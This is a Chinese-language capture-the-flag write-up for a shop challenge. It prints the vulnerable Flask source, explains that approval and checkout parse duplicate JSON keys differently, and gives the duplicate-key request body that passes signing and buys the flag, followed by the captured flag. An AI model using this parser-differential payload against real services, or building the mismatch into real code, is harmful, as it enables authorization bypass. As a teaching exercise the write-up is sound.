买不到的FLAG
第一节:题目
flag 是货架上的一个"商品"。但正常下单买它会被各种校验拦下来。第二节:过程
扫描出/src路径,打开看(经过了整理)import hashlib
import hmac
import json
import os
import secrets
from flask import *
HOST = "0.0.0.0"
PORT = int(os.environ.get("PORT", "8080"))
SIGNING_KEY = secrets.token_bytes(32)
FLAG = os.environ.get("FLAG") or f"flag{{ledger_split_{secrets.token_hex(6)}}}"
app = Flask(__name__)
def audit_pairs(pairs):
result = {}
for key, value in pairs:
if key not in result:
result[key] = value
return result
def audit_decode(raw):
value = json.loads(raw.decode("utf-8"), object_pairs_hook=audit_pairs)
if not isinstance(value, dict):
raise ValueError("top-level JSON must be an object")
return value
def checkout_decode(raw):
value = json.loads(raw.decode("utf-8"))
if not isinstance(value, dict):
raise ValueError("top-level JSON must be an object")
return value
def canonical(value):
return json.dumps(
value, sort_keys=True, separators=(",", ":"), ensure_ascii=False
).encode("utf-8")
def sign(value):
return hmac.new(SIGNING_KEY, canonical(value), hashlib.sha256).hexdigest()
def validate_public_order(order):
expected = {"account", "product", "role", "quantity"}
if set(order) != expected:
return "order must contain exactly account, product, role, and quantity"
if order["account"] != "guest":
return "only the guest account is available"
if order["role"] != "customer":
return "the auditor only approves customer orders"
if order["product"] not in {"sticker", "mug"}:
return "product is not in the public catalog"
if type(order["quantity"]) is not int or not 1 <= order["quantity"] <= 3:
return "quantity must be an integer from 1 to 3"
return None
@app.route("/")
def index():
return render_template("index.html")
@app.route("/src")
def src():
return open(__file__, "rb").read()
@app.route("/healthz")
def healthz():
return jsonify({"status": "ok"})
@app.route("/api/approve", methods=["POST"])
def approve():
raw = request.get_data()
order = audit_decode(raw)
error = validate_public_order(order)
if error:
return jsonify({"error": error})
return jsonify({"approval": sign(order), "status": "approved"})
@app.route("/api/checkout", methods=["POST"])
def checkout():
raw = request.get_data()
audited_order = audit_decode(raw)
supplied = request.headers.get("X-Approval", "")
if not hmac.compare_digest(sign(audited_order), supplied):
return jsonify({"error": "missing or invalid approval"})
order = checkout_decode(raw)
if order.get("product") == "flag" and order.get("role") == "admin":
return jsonify({"product": "flag", "value": FLAG})
public_error = validate_public_order(order)
if public_error:
return jsonify({"error": "checkout rejected order", "detail": public_error})
total = {"sticker": 7, "mug": 19}[str(order["product"])] * int(order["quantity"])
return jsonify({"status": "paid", "total": total, "currency": "credits"})
if __name__ == "__main__":
app.run(host=HOST, port=PORT)
approve 用 audit 那套解析,重复键取第一个;checkout 最后发货用的是另一套,重复键取最后一个。
于是构造同名重复键的 body:
{"account":"guest","product":"sticker","product":"flag","role":"customer","role":"admin","quantity":1}
发货的时候取到的是 product=flag, role=admin
最后 flag:
QCTF{2048d93d-b687-4262-9a80-d875d52a311a}